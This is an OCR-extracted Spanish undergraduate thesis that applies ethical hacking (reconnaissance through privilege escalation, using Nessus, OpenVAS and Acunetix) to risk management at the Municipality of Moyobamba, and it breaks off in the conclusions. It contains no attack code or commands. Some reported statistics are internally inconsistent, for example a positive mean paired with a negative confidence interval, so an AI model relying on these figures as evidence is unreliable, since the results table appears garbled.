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RESUMEN

El presente trabajo de investigacion tuvo como objetivo mejorar la gestion de
riesgos en los sistemas informaticos de la Municipalidad Provincial de Moyobamba
a través de la implementacion de Ethical Hacking. La metodologia que se empled
para el Ethical Hacking basicamente tenia las siguientes fases: Reconocimiento,
Escaneo, Enumeracion, Analisis de Vulnerabilidades, Hacking de Sistemas y
Escalado de Privilegios. Asimismo, los indicadores de la variable dependiente:

gestion de riesgos, fueron relacionados segun criterios.

Se utilizé la investigacion cuantitativa con el disefio experimental del tipo pre-
experimental con un Pre-Test y Post-Test, teniendo como variable independiente el
Ethical Hacking y variable dependiente la Gestion de Riesgos. La poblacion estuvo
conformada por los sistemas informaticos que incluia servidores, computadoras,
sistemas operativos, software y Data Center, haciendo un total de 280, pero la
muestra se tomé solo de 25 sistemas informaticos para realizar una mejor
investigacion. Para identificar amenazas se empleé el cuestionario en los
trabajadores de la oficina de tecnologias de informacion y para el analisis de

vulnerabilidades se utilizo escaneres, como Nessus, OpenVas y Acunetix.

Al finalizar el trabajo de investigacion se logré identificar 35 vulnerabilidades y 10
amenazas. Por otro lado, para calcular el nivel del riesgo se realiz6 la multiplicacion
de amenaza x vulnerabilidad en valores cuantitativos de: 0 — 10 y valores
cualitativos de: muy alto, alto, moderado, bajo, muy bajo. Se encontrd 13 riesgos
en nivel alto, 17 riesgos en nivel moderado y 5 riesgos en nivel bajo. Una vez
clasificados se procedid a brindar alternativas de solucién para su posterior
mitigacion.

Palabras Clave: Amenaza, Ethical Hacking, Gestion de Riesgos, Vulnerabilidad
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ABSTRACT

The objective of this research was to improve risk management in the computer
systems of the Provincial Municipality of Moyobamba through the implementation of
Ethical Hacking. The methodology used for Ethical Hacking basically had the
following phases: Reconnaissance, Scanning, Enumeration, Vulnerability Analysis,
Systems Hacking and Escalation of Privileges. In addition, the indicators of the
dependent variable risk management were related according to criteria. Quantitative
research was used with an experimental design of the pre-experimental type with a
Pre-Test and Post -Test, having the Ethical Hacking as independent variable and
the Risk Management as dependent variable. The population was made up of 280
computer systems that included servers, computers, operating systems, software
and Data Center. The sample consisted of 25 computer systems in order to conduct
a better research. A questionnaire was used for information technology office
workers to identify the threats, and scanners such as Nessus, OpenVas and
Acunetix were used for vulnerability analysis. At the end of the research study, 35
vulnerabilities and 10 threats were identified. Also, the multiplication of threat by
vulnerability was conducted to calculate the level of risk in quantitative values of O -
10 and qualitative values of very high, high, moderate, low, very low values. Among
the results 13 high level risks, 17 moderate level risks and 5 low level risks were
found. Once classified, alternative solutions were provided for subsequent

mitigation.

Keywords: Threat, Ethical Hacking, Risk Management, Vulnerability
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l. INTRODUCCION

Actualmente los sistemas informaticos y la informacion almacenada en estos
sistemas, son los activos mas importantes de una organizacion, es por ese motivo
gue se tiene la obligacion de establecer una adecuada gestidn de riesgos, evitando
de esta manera, minimizar la materializacion de amenazas que se aprovechen de
alguna vulnerabilidad en los sistemas informaticos, ocasionando dafios, tanto en la

parte tecnoldgica, como en lo econémico.

El afio 2017 fue un afio muy dificil para la ciberseguridad en el mundo porque se
llev6 a cabo un ataque mundial con el famoso Ransomware conocido como
WannaCry, cuyo impacto fue exacerbado por explotaciones filtradas de la National
Security Agency (NSA) de los Estados Unidos, llamadas EternalBlue vy
DoublePulsar. Estos exploits se utilizaron en un Ransomware llamado Wannacry y
Petya que blogueaba los sistemas operativos Microsoft Windows, encriptando toda
la informacion y exigiendo un pago de rescate en Bitcoin (Thomas, Burmeister y
Low, 2018, p. 2); por consiguiente, muchos de los sistemas de instituciones del
gobierno, hospitales y bancos quedaron afectados. Ademas, esas organizaciones
al no tener implementada una buena gestion de riesgos en los sistemas
informaticos, carecian de protocolos y procedimientos para enfrentar a esos

ataques, finalmente todo esto causo grandes pérdidas econdémicas.

Las organizaciones publicas y privadas dependen de las tecnologias de informacién
para ejecutar todos sus procesos. Los sistemas informaticos estan sujetos a
muchas amenazas, que pueden causar grandes consecuencias en los procesos
internos de la organizacion. Mediante la explotacion de vulnerabilidades conocidas,
y en muchos casos desconocidas, los hackers pueden comprometer la
confidencialidad, integridad o disponibilidad de la informacion. Las amenazas en
los sistemas informaticos pueden incluir ataques cibernéticos, errores humanos,
malware o una inadecuada gestidon de los riesgos. Por lo tanto, es importante que
los lideres y gerentes de todos los niveles entiendan sus responsabilidades para
gestionar los riesgos de seguridad de la informacién, controlarlos o mitigarlos.
(NIST Special Publication 800-30, 2012).



Se debe desarrollar un plan de riesgos cuidadosamente antes, durante y después
de la gestion de riesgos. El proceso de gestion de riesgos funciona mejor cuando
se crea una propuesta de valor sobre el programa de riesgos, entendiendo por
completo los componentes de la evaluacion de riesgos: como la identificacién y
priorizacion, todo esto encaja dentro del proceso general de gestion de riesgos.

(PricewaterhouseCoopers, 2015).

Una inadecuada gestion de riesgos en los sistemas informéticos podria traer
consigo multiples amenazas y vulnerabilidades, ya sea, por una configuraciéon o
administracién incorrecta en los servidores de datos, falta de seguridad en los
sistemas, practicas de programacién deficientes, etcétera. El riesgo se refiere a la
posibilidad de que se produzcan pérdidas o dafios y para poder medirlo, es
necesario determinar la probabilidad que una amenaza detectada explote una
vulnerabilidad, que en funcion de los valores obtenidos se establece un nivel de
riesgo. Por otro lado, estos riesgos comprometen la confidencialidad, integridad y
disponibilidad de la informacion, si esta llega a ser modificada o robada, podria
ocasionar que toda la organizacion quede comprometida, ocasionando enormes

gastos de dinero y una reputacion no confiable de la organizacion.

En el caso de los sistemas webs, muchas de las vulnerabilidades criticas en el
software son por causa de que los desarrolladores al escribir cédigo no adoptan
buenas practicas de programacion porque generalmente se enfocan mas en la
funcionalidad y aspecto visual, que en la seguridad del sistema. (Cuevas [et al.]
2018, parr. 9).

Para identificar vulnerabilidades en los sistemas informaticos y obtener mejores
resultados, se ejecuta un Ethical Hacking, que consiste en realizar, desde la
perspectiva de un hacker malicioso, ataques controlados a los sistemas, previa
autorizacion con la empresa, con el Unico objetivo de encontrar y explotar las
vulnerabilidades, pero sin dafiar el sistema, brindando alternativas de solucion para
mitigarlas. De esta manera todas las debilidades de los sistemas son reportadas a
la organizacion para su posterior correccion e implementacion en la gestion de
riesgos. Cabe mencionar que todo este proceso debe ser planificado con antelaciéon
considerando aspectos técnicos, de gestidn y estratégicos. (Giannone [et al.] 2018,
p. 690).



Existe un gran porcentaje de organizaciones publicas que poseen infraestructuras
tecnologicas obsoletas y sin actualizaciones, ejecutan sistemas operativos y
software desactualizado, con vulnerabilidades conocidas; es decir, con debilidades
de seguridad, que con una buena gestién y monitoreo podrian ser subsanadas,
evitando de esta manera una infeccion por malware o ataque cibernético (Gordon,
2018, p. 3).

La importancia de esta investigacion para la carrera profesional de Ingenieria de
Sistemas es de un valor muy alto, ya que, esta profesion esta relacionada con el
uso de las tecnologias de informacion y la ciberseguridad. En un mundo globalizado
donde la informacion digital es manejada por los sistemas informaticos, que
incluyen software y hardware, debe ser protegida, pero aqui nace una interrogante
¢, Como sabemos si la informacion digital de la empresa esta segura en los sistemas
informaticos? La respuesta es simple, primero se debe identificar amenazas y
vulnerabilidades en dichos sistemas, y en segundo lugar, se deberia tener
protocolos bien establecidos para las respuestas a incidentes. Todo esto puede
realizarse al aplicar una correcta implementacion de Ethical Hacking y Gestion de

Riesgos.

La realidad probleméatica de este proyecto de investigacion empieza con la
identificacion de cuatro problemas, los cuales son:

-Falta Identificar Riesgos.

-Falta Analizar Riesgos.

-Falta Brindar Tratamiento a los Riesgos.

-Falta Aumentar los Mecanismos para la Proteccion de Seguridad Fisica.

Estos cuatro, son los problemas, que, con unos buenos tratamientos en la gestion
de riesgos y ayuda del Ethical Hacking, podrian ser identificados y mitigados,

evitando que causen dafio en los sistemas informaticos.

A continuacion, se formula el problema de investigacion: ¢De qué manera la
implementacion de Ethical Hacking influye en la gestibn de riesgos sobre los

sistemas informaticos de la Municipalidad Provincial de Moyobamba?



Esta investigacion tiene justificacion: Econdémica, porque la Municipalidad
Provincial de Moyobamba no tendra que gastar dinero extra para contratar
especialistas en Ethical Hacking que analicen sus sistemas, ya que esto tiene un
costo muy elevado. Asimismo, la tesis tiene justificacion Practica porque existe la
necesidad de mejorar la gestion de riesgos, con la identificacion de amenazas y
vulnerabilidades para poder brindar alternativas de solucion. De esta manera,

preservar la confidencialidad, integridad y disponibilidad de la informacion.

Como objetivo general se plantea Mejorar la gestion de riesgos en los sistemas
informéaticos de la Municipalidad Provincial de Moyobamba mediante la

implementacion de Ethical Hacking, por otro lado, los objetivos especificos son:

-Aumentar el Numero de Riesgos Identificados.
-Aumentar el Numero de Riesgos Analizados.
-Aumentar el Numero de Riesgos Tratados.

-Aumentar el Numero de Mecanismos para la Proteccion de Seguridad Fisica.

La hipétesis para esta tesis es “La Implementacion de Ethical Hacking Mejora la
Gestion de Riesgos en los Sistemas Informaticos de la Municipalidad Provincial de

Moyobamba”.



Il. MARCO TEORICO

Como antecedentes nacionales tenemos a (Cruz, 2014). El cual aplicé una técnica
de Pentesting para mejorar la seguridad informatica en los sistemas informéticos
de una empresa tecnoldgica en la ciudad de Truijillo, lo realiz6 utilizando el Open
Source Security Testing Methodology Manual, que tuvo una mayor cobertura al
realizar la auditoria, porque es una de las metodologias mas usadas por los
profesionales de ciberseguridad y esta relacionada a cualquier empresa; y tuvo
como objetivo el hallazgo de vulnerabilidades en los sistemas, también el autor
(Bermeo, 2017) en su trabajo se enfocé en realizar la implementacion de Ethical
Hacking, en una empresa comercial; para dar apoyo en el analisis de
vulnerabilidades de la red informatica, asimismo, con los resultados obtenidos,
formulé una propuesta de seguridad para aplicar reglas y politica internas al
detectarse posibles vulnerabilidades o intrusiones en la red de datos de la empresa.
También (Ayala, 2017), hizo su tesis sobre un sistema de gestion de seguridad de
informacion para mejorar el proceso de gestion del riesgo en una entidad, tuvo

como objetivo evaluar, monitorear y optimizar la seguridad de la informacion.

Asimismo, se menciona antecedentes internacionales (Francis, 2016) en su tesis
presenta la explotacion automatizada de la red informatica a través de Penetration
Testing (ANEX), un sistema automatizado de Pentesting disefiado para infiltrarse
en una red informatica y trazar rutas desde una red comprometida a una maquina
de destino especifica. Los resultados mostraron atagues exitosos en mdultiples
niveles de red y confirmé la eficiencia y eficacia del disefio de la utilizacion de
fuentes automatizadas y de codigo abierto; por otro lado, (Paulino, 2016) presento
un andlisis de aplicaciones en el sector financiero para detectar y mitigar
vulnerabilidades mediante pruebas de intrusion, para lograrlo creé un proceso que
abarcé desde las reglas de compromiso, la eleccion del enfoque de pruebas, la
seleccién de un escaner web, la realizacion de Pentesting y confirmacion de
vulnerabilidades, finalmente, los autores (Diaz y Bustamante, 2015) realizaron un
disefio de estrategias de mitigacién para mejorar la seguridad de informacion de un

sistema de control industrial.



Las siguientes teorias sirven de base para comprender mejor el trabajo de

investigacion:

a) Ethical Hacking, se refiere a la accion de “hackear” los sistemas informaticos
de una organizacion, previa autorizacion firmada, en el cual se utilizan las mismas
técnicas y herramientas de un “Black Hat Hacker”, el cual es una persona que
rompe la seguridad de un sistema informéatico con fines ilicitos; sin embargo, el
Ethical Hacking busca de una manera legal y legitima identificar vulnerabilidades
de un sistema informéatico en la parte del software y hardware, informando a la
organizacion sobre los resultados obtenidos, al mismo tiempo de brindar

alternativas de solucion para poder corregirlas y mitigarlas (Baloch, 2015, p. 02).

b) Certified Ethical Hacker (CEH), es una certificacion de hacking ético
desarrollada por el Consejo Internacional de Consulta de Comercio Electronico de
los Estados Unidos, que tiene una metodologia para desarrollar un correcto Ethical
Hacking. (EC-Council, 2019)

c) Exploit, es un tipo de codigo malicioso escrito en lenguajes de programacion
como Python, Ruby, C ++, etcétera, para el aprovechamiento de una vulnerabilidad

en un sistema con el fin de tener control sobre este (VILLEGAS, 2018).

d) NIST SP 800-30, es una guia desarrollada por el Instituto Nacional de
Estandares y Tecnologia de los Estados Unidos, para brindar orientacion en el

analisis y gestion de riesgos informaticos.

e) Kali Linux, es una distribucién basada en el sistema operativo Debian, que se
enfoca en auditorias de seguridad, analisis forense digital e ingenieria inversa
(Offensive Security, 2013).

f) Metadatos, son datos que contienen informacién relativa a un documento o
fichero concreto. Asi, por ejemplo, un archivo de texto podria contener entre sus
metadatos multitud de informacién relacionada con su procedencia, como datos
sobre su autor, su fecha de creacion y modificacion, qué otros usuarios han
manipulado el documento o el software utilizado para su redaccion (Alonso, 2018,
p. 15),



g) Amenaza, en seguridad informatica, se define como cualquier circunstancia o
evento con el potencial de causar dafio a un sistema informatico

(Governance & Standards Division, 2017).

h) Sistema Informatico, es la combinaciéon de hardware, software y personal

informético que permite procesar y almacenar la informacion digital.

i) Riesgo, en el contexto de la seguridad informética, riesgo es la probabilidad de
gue una amenaza se materialice, utilizando vulnerabilidades existentes, generando
perdidas y dafios (ISO 31000).

J) Vulnerabilidad, es una debilidad, el cual puede ser atacado y usado como punto

de entrada al sistema. (Oriyano, 2016),

k) Gestion de Riesgos, en el contexto de la seguridad informatica, la gestion de
riesgos toma en cuenta las vulnerabilidades, las fuentes de amenazas y los
controles de seguridad que se planifican e implementan para determinar el nivel de
riesgo, grado de probabilidad y alternativas de solucion (New York State Information

Technology Service, 2015).



lIl. METODOLOGIA
3.1. Tipo y disefio de investigacion

El tipo de investigacion realizado fue cuantitativo. Para definirlo, los autores Chawla,

Sondhi, Sharma y Wadehra (2018), lo plantean de la siguiente manera:

[...] El énfasis principal de la investigacion cuantitativa esta en la
recoleccion de datos numéricos. También se concentra en medir la
escala, el rango y la frecuencia de un fendbmeno, ademas, implica
examinar los aspectos tangibles de la investigacion, como los valores,

las actitudes y percepciones.

Se realizo el disefio Experimental del tipo Pre-Experimental, con un Pre-Test y Post-

Test.
G Pre-Test Post - Test
Ethical Hacking -
Ne——
Donde:

G = Grupo experimental.

01 = Variable dependiente Pre-test (Gestion de Riesgos)
X = Variable independiente (Ethical Hacking)

O2 = Variable dependiente Post-test (Gestion de Riesgos)

3.2. Variables y Operacionalizacion
3.2.1. Variables

¢ Independiente:
Ethical Hacking.
¢ Dependiente:

Gestién de Riesgos.



3.2.2. Operacionalizacion de variables

VARIABLES

DEFINICION CONCEPTUAL

DEFINICION OPERACIONAL

INDICADORES

ESCALA

VI.
Ethical
Hacking

Consiste en realizar, desde la
perspectiva de un hacker
malicioso, ataques controlados
sobre los sistemas informaticos,
detectando y aprovechando las
vulnerabilidades. Todo esto con
el fin de comunicar a la
organizacion de los riesgos de
seguridad (Astudillo, 2015).

Esta técnica  permite
identificar, analizar y mitigar
las vulnerabilidades en los
sistemas informéaticos, lo cual
es imprescindible para aplicar

medidas correctivas.

NUumero de vulnerabilidades.

Nivel de las vulnerabilidades.

NUumero de vulnerabilidades
mitigadas.

De Razon

VD:
Gestion de

Riesgos

Requiere un analisis de la
informacién sobre amenazas y
vulnerabilidades para determinar
en qué medida podrian afectar
negativamente a una
organizacion y la probabilidad de
gue tales circunstancias o eventos
ocurriran (Department of Defense

United States of America, 2015).

Mediante la gestion de
riesgos se puede mantener la
confidencialidad, integridad y
disponibilidad de la
informacion en los sistemas
informaticos, que incluye
software y hardware.

Numero de riesgos identificados.

Numero de riesgos analizados.

Numero de riesgos tratados.

NUmero de mecanismos para la
proteccion de seguridad fisica.

De Razdn




3.2.3. Indicadores de la variable dependiente

Numero de riesgos

Conocer los riesgos
gue se pueden

Encuesta /

Riesgo = Amenaza + Vulnerabilidad

identificados. producir y sus : . Semestral
posibles Cuestionario
consecuencias.
Numero de riesgos Evaluar el grado de Encuesta / Semestral _ N
analizados. ocurrencia del riesgo. | Cuestionario Riesgo = Amenaza x Vulnerabilidad
_ _ NRI = NRT
. : Brindar mecanismos
Numero de riesgos tratar | Encuesta / S tral
tratados. para tratar los Cuestionario | >€Mestral | NRI: Numero de riesgos identificados.
resgos. NRT: Numero de riesgos tratados.
Ngmero de | Establecer NMPSF = NCP
mecanismos para fa mecanismos para E ta/ ) _ »
proteccion de proteger los equipos ncuesta’ | oo nestral | NMPSF: Nimero de mecanismos para la proteccion

seguridad fisica.

informaticos y Data
Center.

Cuestionario

seguridad de seguridad fisica.
NCP: Numero de controles propuestos.

10




3.3. Poblacién, muestra y muestreo

3.3.1. Poblaciéon

En el contexto de metodologia de la investigacidn cientifica una poblacién se

refiere a todos los miembros de un conjunto real o hipotético de personas,

eventos u objetos a los que deseamos generalizar los resultados de nuestra

investigacion. A partir de una poblacién definida se elige una muestra para

poder realizar la investigacion (Pandey y Mishra, 2015, p. 41).

Para esta investigacién, la poblacion lo constituye todos los sistemas

informéticos, que incluyen software y hardware de la Municipalidad Provincial

de Moyobamba, los cuales hacen un total de 280 entre computadoras,

servidores, sistemas operativos y aplicaciones.

Indicadores

Poblaciéon

Indicador 1: Numero de riesgos

identificados.

Indicador 2: Numero de riesgos

analizados.

Indicador 3: Numero de riesgos

tratados.

Indicador 4: Numero de
mecanismos para la proteccion de

seguridad fisica.

280 sistemas informéaticos entre
computadoras, servidores,
sistemas operativos y

aplicaciones.
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3.3.2. Muestra

“Cuando tomamos muestras, seleccionamos algunos casos para examinar
en detalle, y luego usamos lo que aprendemos de ellos para entender un

conjunto mucho mas amplio de casos” (Lawrence, 2014, p. 246).

Se eligio el tipo de muestreo no probabilistico para poder decidir los
elementos que formaron parte de la muestra y realizar la gestién de riesgos

de los sistemas informaticos que incluye hardware y software.

Indicadores Muestra

Indicador 1: Numero de riesgos

identificados.

Indicador 2: Numero de riesgos

analizados.

Indicador 3: Numero de riesgos 25 sistemas informaticos entre
tratados. computadoras, sistemas
Indicador 4: Namero de operativos y 1 data center.

mecanismos para la proteccion de

seguridad fisica.

Indicador Unidad de Anélisis
Numero de riesgos identificados. Sistemas informaticos.
Numero de riesgos analizados. Sistemas informaticos.
Numero de riesgos tratados. Sistemas informaticos.
Numero de mecanismos para la Sistemas informaticos.
proteccion de seguridad fisica.




3.3.3. Criterios de Seleccién

e Criterios de inclusién: son todas las caracteristicas que hace a un
elemento sea tomado en cuenta como parte de una muestra de
investigacion.

e Criterios de exclusion: se refiere a la regla que, al momento de
agregarse, hace que un elemento se lo tome en cuenta dentro de la

investigacion.

Criterio de

Muestra Criterio de inclusiéon .,
exclusion

Todos los riesgos que podrian traer _
mayor consecuencia en los Ninguno
sistemas informaticos.

Numero de riesgos
identificados.

Los riesgos que se le asignan un _
grado de probabilidad y ocurrencia Ninguno
en los sistemas informaticos.

Numero de riesgos
analizados.

Son los riesgos que se le brinda un
Numero de riesgos | tratamiento para poder disminuir el

tratados. nivel de impacto en los sistemas Ninguno
informaticos.

Numero de

mecanismos para la | S€ propone procedimientos para

proteccion de tener una mayor seguridad fisica Ninguno

seguridad fisica. de los sistemas informaticos.

3.4. Técnicas e instrumentos de recoleccion de datos, validez y
confiabilidad

3.4.1. Técnicas e instrumentos:

La técnica de la encuesta se establece como "una recoleccion de informacion
sobre una muestra de una poblaciébn mediante sus respuestas a ciertas
interrogantes”. Este tipo de técnica facilita una gran cantidad de métodos para
recoger participantes, coleccionar datos y hacer uso de muchos métodos de

instrumentacion.
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“Un cuestionario es una lista escrita de preguntas, cuyas respuestas son

registradas por los encuestados. En un cuestionario, los encuestados leen las

preguntas, interpretan lo que se espera y luego escriben las respuestas”

(Kumar, 2011).

La escala de Likert en un cuestionario comienza con una definicién clara de la

construccién de interés, y utiliza un conjunto de expertos para generar

alrededor de 80 a 100 elementos de escala potenciales. Luego, se miden estos

items en una escala de calificacion de 1 a 5 de la siguiente manera: (1) por

estar totalmente en desacuerdo con el concepto, (2) por estar en desacuerdo

con el concepto, (3) por estar indeciso, (4) por estar de acuerdo con el concepto

y (5) para estar totalmente de acuerdo con el concepto. Después de realizar el

cuestionario, con los datos obtenidos se procede a realizar la respectiva prueba

estadistica (Bhattacherjee, 2012)

Técnica

Instrumento

Fuente

Informantes

Encuesta

Cuestionario

Oficina de
Tecnologias de

Informacion.

Personal de la Oficina

de Tecnologias

Informacion.

de

3.4.2. Validez del instrumento

Juicio de Expertos

Es el conjunto de opiniones brindadas por profesionales expertos en el tema de

investigacion.

3.4.3. Confiabilidad del Instrumento

Se aplicé la prueba del coeficiente de Alfa de Cronbach, el cual es un

mecanismo de fiabilidad para un instrumento basado en su nivel de

consistencia interna.
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3.5. Método de analisis de datos

e T-Student, para realizar una prueba de similitud de las medias de dos
muestras que tienen un numero de poblacién similar y se ejecuta cuando
una muestra sea menor o igual a treinta elementos.

e Shapiro- Wilk, cuando la muestra sea menor a 30 elementos.

3.6. Aspectos éticos

Para realizar esta investigacion se recolectd conocimiento de diferentes fuentes

publicas, como libros en linea, articulos de revistas indexadas, etcétera.
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4.2. Analisis Estadistico

Es una técnica que se utiliza para analizar y describir los datos cuantitativos de un
estudio. Comprende el uso de la estadistica descriptiva e inferencial, esta Ultima

puede ser paramétrica o no paramétrica (Sanchez, Reyes y Mejia, 2018).

4.2.1. Indicador 01: Numero de Riesgos Identificados

Tabla 1: Indicador 01: Namero de Riesgos Identificados

Niveles Numero de Riesgos
Identificados
Pre-Test Post-Test
% %
Bajo 100% 0%
Medio 0% 33%
Alto 0% 67%

Como se muestra en la tabla 1, en el Pre-Test el Numero de Riesgos ldentificados
se mantenian en un nivel bajo 100%, al implementar el Ethical Hacking se aprecia
una mejora pues en el Post-Test se llegd a un 33% en el nivel medio y un 67% en

el nivel alto. Lo mismo podemos ver en la figura 1:

100%a

67%

0.4 33%
0.2
0% 0% 0%
(o]
) %%
Pre-Test Post-Test

Riesgos identificados

o Bajo Medio Alto

Fuente: Tabla 1
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4.2.3. Indicador 02: Numero de Riesgos Analizados

Tabla 2: Indicador 02: Numero de Riesgos Analizados

Niveles Numero de Riesgos Analizados

Pre-Test Post-Test
% %
Bajo 50% 0%
Medio 50% 0%
Alto 0% 100%

En la tabla 2 se observa que en el Pre-Test el 50% se encontraba en el nivel bajo
y medio, al implementar el Ethical Hacking en el indicador Numero de Riesgos
Analizados en el Post-Test pasaron al nivel alto 100%. Lo mismo se muestra en la

figura 2:

120%
100%
100%
80%
60% 50%  50%

40%

20%
0% 0% 0%

0%

B Bajo M Medio mAlto

Fuente: Tabla 2
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4.2.4. Indicador 03: Numero de Riesgos Tratados

Tabla 3: Indicador 03: Numero de Riesgos Tratados

Niveles Numero de Riesgos Tratados
Pre-Test Post-Test
% %
Bajo 67% 0%
Medio 33% 0%
Alto 0% 100%

Como se muestra en la tabla 3 observamos que en el Pre-Test el 33% se
encontraba en el nivel medio y el 67% en un nivel bajo, al implementar el Ethical
Hacking en el indicador Numero de Riesgos Tratados con la aplicacion de Post-

Test pasaron al nivel alto 100%. Lo mismo se observa en la figura 3:

1.2
100%

0.8

67%

0% 0% 0%
% %
Pre-Test Post-Test

Riesgos mitigados

HBajo W Medio M Alto

Fuente: Tabla 3

19



4.2.4. Indicador 04: Numero de Mecanismos para la Proteccién de Seguridad
Fisica

Tabla 4: Indicador 04: Numero de Mecanismos para la Proteccién de Seguridad
Fisica

Niveles Numero de Mecanismos para la Proteccion
de Seguridad Fisica
Pre-Test Post-Test
% %
Bajo 83% 0%
Medio 17% 0%
Alto 0% 100%

Como se muestra en la tabla 4 observamos que en el pre test el 83% se encontraba
en el nivel bajo y el 17% en el nivel medio, al implementar el Ethical Hacking en el
indicador Numero de Mecanismos para la Proteccion de Seguridad Fisica en el

Post-Test pasaron todos al nivel alto. Lo mismo podemos ver en la figura 4:

120%

100%
100%
83%

80%
60%

40%

20% 17%
(o

0% 0% 0%
0%

% %

M Bajo W Medio mAlto

Fuente: Tabla 4
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4.3. Pruebas de Normalidad

Es necesario verificar el supuesto de normalidad para corroborar si las variables
en estudio son paramétricas o no paramétricas, utilizamos la prueba Shapiro-Wilk
por tener mas potencia en muestras pequefias (n<35). Naresh Malhotra (2008).

Criterio para determinar la normalidad de los datos:

Si P-valor 2 a Aceptar Hy: los datos provienen de una distribucion normal

Si P-valor < a Aceptar H;: los datos NO provienen de una distribucién normal

Tabla 5: Pruebas de Normalidad

Diferencia de las variables Shapiro-Wilk
Estadistic gl Sig.
o]
Pre-Test — Post-Test Riesgos Identificados ,976 6 ,933
Pre-Test — Post-Test Riesgos Analizados ,982 6 ,961
Pre-Test — Post-Test Riesgos Tratados ,915 6 473
Pre-Test — Post-Test Mecanismos para la ,907 6 415

Proteccion de Seguridad Fisica
Pre test - Post test Gestion de Riesgos ,866 6 ,210

Fuente: Resultados SPSS version 26

Los resultados nos indican que en las variables el valor p>0.05. Por lo tanto,
aceptamos la hipotesis nula Ho, es decir que los datos provienen de una distribucion

normal; por tal motivo se recomienda utilizar la prueba paramétrica t - Student.

Segln (SANCHEZ, 2015) la prueba t — Student se fundamenta en dos premisas; la
primera en la distribucion de normalidad, y la segunda: en que las muestras sean
independientes. Permite compara muestras, N < 30 y/o establece la diferencia entre

las medias de las muestras.
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Tabla 6: Prueba t - Student para la diferencia de medias

Diferencias emparejadas

95% de intervalo de Sig
. i | .
Media D.S confianza de la g (bilateral)
diferencia
Inferior Superior
Pre test - Post test
Gestion de 30,833 1,722 -41641  -38,026 -56,648 5 000

Riesgos

Fuente: Resultados SPSS version 26

En el analisis anterior se muestra la prueba paramétrica t - Student, que se realizo
con la finalidad de demostrar que la Implementacion de Ethical Hacking Mejora la
Gestion de Riesgos en los Sistemas Informaticos de la Municipalidad Provincial de
Moyobamba. El grupo de Pre-Test y Post-Test se desarrollaron significativamente.
En la tabla 6 se observa el valor de la pruebat - Student (t=-56.648; p<0.01) las
diferencias emparejadas nos indica que hay diferencias altamente significativas
entre ambos grupos Pre - Test y Post - Test. Es decir, existe evidencia estadistica

suficiente para rechazar la hipétesis nula, aceptando la hipétesis del investigador:
Hi: La Implementacion de Ethical Hacking Mejora la Gestion de Riesgos

en los Sistemas Informaticos de la Municipalidad Provincial de

Moyobamba.
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Tabla 7: Prueba t - Student para la diferencia de medias por indicadores

95% de intervalo
de confianza de t gl
la diferencia

Sig.

Media | Desviacion (bilateral)

Inferior | Superior

Par 1 | Pre Test - Post

Test NUmero
de Riesgos
Identificados

-8,000 2,000 -10,099 | -5,901 | -9,798 | 5 ,000

Par 2 | Pre Test - Post

Test NUmero -
_ -10,500 1,871 -12,463 | -8,537 5 ,000
de Riesgos 13,748

Analizados

Par 3| Pre Test - Post

Test NUmero -
_ -9,667 2,066 -11,834 | -7,499 5 ,000
de Riesgos 11,463

Tratados

Par 4 | Pre Test - Post

Test

Mecanismos

parala -11,667 1,211 -12,938 | -10,396 5 ,000
., 23,597

Proteccién de

Seguridad

Fisica

Como se muestra en la tabla 7 el valor de la prueba t - Student para las
dimensiones de la gestion de riesgos, las diferencias emparejadas en todas las
dimensiones nos indica que hay diferencias altamente significativas entre ambos
grupos Pre-Test y Post-Test.

Existe evidencia altamente significativa para rechazar hipdtesis nulas
especificas, quedando aceptadas la hipétesis alternativa donde la
Implementacién de Ethical Hacking Mejora la Gestion de Riesgos en los

Sistemas Informaticos de la Municipalidad Provincial de Moyobamba.
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V. DISCUSION

5.1. INDICADOR N° 01: Numero de Riesgos Identificados

Los riesgos estan conformados por amenazas y vulnerabilidades. Al implementar
Ethical Hacking utilizando la metodologia del Certified Ethical Hacker, se
encontraron 35 vulnerabilidades y 10 amenazas, de los cuales la mayoria de
vulnerabilidades son por falta de actualizacién en el software y mala configuracion
del sistema. Por otro lado, (CRUZ, 2014), empled la metodologia Open Source
Security Testing Methodology Manual (OSSTMM) y solo encontré solo 5
vulnerabilidades, en los sistemas de informacion de una empresa, esto se debe a
gue no utilizé ningan escaner de vulnerabilidades, como, por ejemplo, Nessus,

Openvas, entre otros.

Para mayor detalle sobre este indicador N° 01 se puede visualizar la tabla 9:

Numero de Riesgos ldentificados.

5.2. INDICADOR N ° 02: Numero de Riesgos Analizados

Para obtener el nivel de riesgo se multiplicé la probabilidad de la amenaza por el
impacto de la vulnerabilidad (Amenaza x Vulnerabilidad), una vez realizado esta
operacion se obtuvieron 13 Riesgos Altos, 17 Riesgos Moderados y 5 Riesgos
Bajos. Por otro lado, (BERMEO, 2017) analizé y clasifico solo las vulnerabilidades
con la herramienta de escaneo OpenVas en la cual ya viene clasificado por un nivel.
Obtuvo 6 Vulnerabilidades en nivel Alto, 22 Vulnerabilidades en nivel Moderado y

10 Vulnerabilidades en nivel Bajo.

Para mayor detalle sobre este indicador N° 02 se puede visualizar la tabla 10:

Numero de Riesgos Analizados.

5.3. INDICADOR N ° 03: Numero de Riesgos Tratados

Una vez identificados y analizados los riesgos, se procedié a brindar alternativas
de solucién para cada vulnerabilidad y amenaza. Asimismo, se establecié una
estrategia que consistia basicamente en: Asumir, Evitar Reducir y Transferir el
riesgo, de los cuales 34 riesgos se pusieron en una estrategia de Reduciry 1 riesgo

en una estrategia de Asumir el riesgo. Por otro lado, (AYALA, 2017), utilizo el
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formato de controles para riesgos de la norma ISO 27001, para tratar de brindar

solucién.

Para mayor detalle sobre este indicador N° 03 se puede visualizar la tabla 11:

Numero de Riesgos Tratados.

5.4. INDICADOR N ° 04: Numero de Mecanismos para la Proteccion de la
Seguridad Fisica

Para este indicador se abarcé computadoras y el Data Center donde se encuentran
los servidores, se establecié 5 mecanismos de seguridad para protegerlos contra
diferentes amenazas, estos mecanismos fueron tomados de una manera que se
pueda asegurar la disponibilidad de estos equipos en el caso de presentarse algun
incidente. En cambio, (DIAZ y BUSTAMANTE, 2015), establecieron 17 estrategias
de mitigacion, cabe mencionar que algunas estrategias se repitieron para diferentes

amenazas.

Para mayor detalle sobre este indicador N° 04 se puede visualizar la tabla 12:

Numero de Mecanismos para la Proteccion de la Seguridad Fisica.
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VI. CONCLUSIONES

La implementacion de Ethical Hacking en los sistemas informaticos de la
Municipalidad Provincial de Moyobamba para mejorar la gestion de riesgos tuvo las

siguientes conclusiones:

1. Se aumentdé el namero de riesgos identificados conformados por 35
vulnerabilidades y 10 amenazas. El escaner de vulnerabilidades Nessus y
